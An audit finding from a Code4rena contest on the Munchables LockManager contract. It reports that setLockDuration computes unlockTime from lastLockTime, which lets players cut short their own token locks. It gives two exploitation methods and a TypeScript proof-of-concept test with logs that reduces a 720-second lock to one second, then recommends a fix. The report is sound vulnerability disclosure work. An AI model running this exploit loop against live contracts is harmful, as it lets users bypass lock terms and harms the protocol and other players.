Munchables - snakeeaterr's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L256 https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L265

Vulnerability details

Impact

Players are able to reduce the lock up duration of their already locked tokens, allowing them to unlock earlier than specified. This is because while setLockDuration checks to see that a new lock duration will not cause already locked tokens' unlockTime to be set to a smaller value, the actual calculation of the new unlockTime is based on lastLockTime, which doesn't change.

lockedTokens[msg.sender][tokenContract].unlockTime =
    lastLockTime +
    uint32(_duration);

Assuming there are locked tokens, there are two methodologies an attacker could use to exploit this logic mistake, depending on how quickly they want to unlock their tokens and how how much gas they wish to spend.

In the first Methodology, the attacker repeatedly changes the lock duration through setLockDuration. Each change must be in its own different block, because block.timestamp has to vary between iterations. The new value for the lock duration would be calculated as follows:

For each iteration $n$: $ D_n​=unlockTime_n​−currentTimestamp_n​ $

where $D_n$ is the new lock duration.

This formula will satisfy the aforementioned check in setLockDuration and set a new unlockTime that is the smallest allowable value given the check. Moreover, the allowed reduction of unlockTime increases by 1 after each iteration. Therefore the amount of iterations needed to bring down unlockTime close to zero for a an initial lock duration $D_1$ is given by:

$n = \left\lceil \frac{-1 + \sqrt{1 + 4D_1}}{2} \right\rceil$

The currentTimestamp used in the formula does not require precise accuracy. An attacker could estimate the timestamp of the next block with enough room for error.

This method is gas-intensive and its effectiveness depends on the frequency of mined blocks.

The second methodology involves waiting for convenient percentages of unlockTime to elapse in order to make very few but effective lock duration reductions. For example, an attacker could wait for a $1/4$ of the unlock time to elapse before bringing down unlockTime to $75$% of its initial value. After that, once the current timestamp is around half of this updated unlockTime (which is $37.5$% of its original value), the attacker can immediately bring down unlockTime to 0 seconds. So the attacker would actually lock for only $37.5$% of the original lock duration, using only two transactions to achieve this.

Proof of Concept

The POC demonstrates the first methodology. Place the following test code inside tests/managers/LockManager/setLockDuration.test.ts:

describe("POC - when player has locked tokens", () => {
  const initialLockDuration = 720n; // 720 seconds
  let unlockTime: bigint; // the value we want to bring as low as possible
  let lastLockTime: bigint;
  
  beforeEach(async () => {
    // set the initial lock duration
    const { request } = await testContracts.lockManager.contract.simulate.setLockDuration(
      [initialLockDuration],
      { account: alice }
    );
    const setLockDurationTxHash = await testClient.writeContract(request);
    await assertTxSuccess({ txHash: setLockDurationTxHash });

    // now lock some WETH
    const lockEthTxHash = await testContracts.lockManager.contract.write.lock(
      [zeroAddress, parseEther("2")],
      {
        account: alice,
        value: parseEther("2"),
      }
    );
    await assertTxSuccess({ txHash: lockEthTxHash });



    const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]);
    assert(lockedTokens instanceof Array);
    const lockedEthToken = lockedTokens.find((t) => t.tokenContract === zeroAddress);
    assert.ok(lockedEthToken);
    assert.equal(
      lockedEthToken.lockedToken.unlockTime,
      lockedEthToken.lockedToken.lastLockTime + Number(initialLockDuration)
    );

    console.log("locked WETH tokens before time reduction: ", lockedEthToken);
    // record unlockTime and lastLockTime
    unlockTime = BigInt(lockedEthToken.lockedToken.unlockTime);
    lastLockTime = BigInt(lockedEthToken.lockedToken.lastLockTime);

  })

  it.only("should bring unlockTime as close to the lastLockTime as possible", async () => {
    let rounds = 0;
    while (unlockTime - lastLockTime > 1n) { // stop when the difference is 1 second
      const latestBlock = await testClient.getBlock({ blockTag: "latest" });
      const nextBlockTimestamp = latestBlock.timestamp + 1n
      await testClient.setNextBlockTimestamp({ timestamp: nextBlockTimestamp });


      // + 2n to deal with some anvil discrepancy in the block.timestamp use in the contract
      // adjust this value within small bounds to see what works in your environemt
      let newLockDuration = unlockTime - nextBlockTimestamp + 2n;

      if ( newLockDuration < 0n ) {
        newLockDuration = 1n;
      }
      

      const txHash = await testContracts.lockManager.contract.write.setLockDuration(
        [newLockDuration],
        {
          account: alice,
        }
      );
      await assertTxSuccess({ txHash });

      const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]);
      assert(lockedTokens instanceof Array);
      const lockedEthToken = lockedTokens.find((t) => t.tokenContract === zeroAddress);
      unlockTime = BigInt(lockedEthToken.lockedToken.unlockTime);
      rounds++;
    }

    const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]);
    assert(lockedTokens instanceof Array);
    console.log("lockedTokens after time reduction: ", lockedTokens.find((t) => t.tokenContract === zeroAddress));
    console.log("rounds needed to to reduce to a difference of 1 seconds between unlockTime and lastLockTime: ", rounds )
  })
})

#test logs: Note the reduction in unlockTime

locked WETH tokens before time reduction:  {
  lockedToken: {
    quantity: 2000000000000000000n,
    remainder: 0n,
    lastLockTime: 1713316685,
    unlockTime: 1713317405
  },
  tokenContract: '0x0000000000000000000000000000000000000000'
}
lockedTokens after time reduction:  {
  lockedToken: {
    quantity: 2000000000000000000n,
    remainder: 0n,
    lastLockTime: 1713316685,
    unlockTime: 1713316686
  },
  tokenContract: '0x0000000000000000000000000000000000000000'
}
rounds needed to to reduce to a difference of 1 seconds between unlockTime and lastLockTime:  40
  ▶ POC - when player has locked tokens
    ✔ should bring unlockTime as close to the lastLockTime as possible (243.349365ms)

Tools Used

Foundry, Remix

Recommended Mitigation Steps

Make the calculation of the new unlockTime in setLockDuration use block.timestamp instead of the old lastLockTime.

Assessed type

Access Control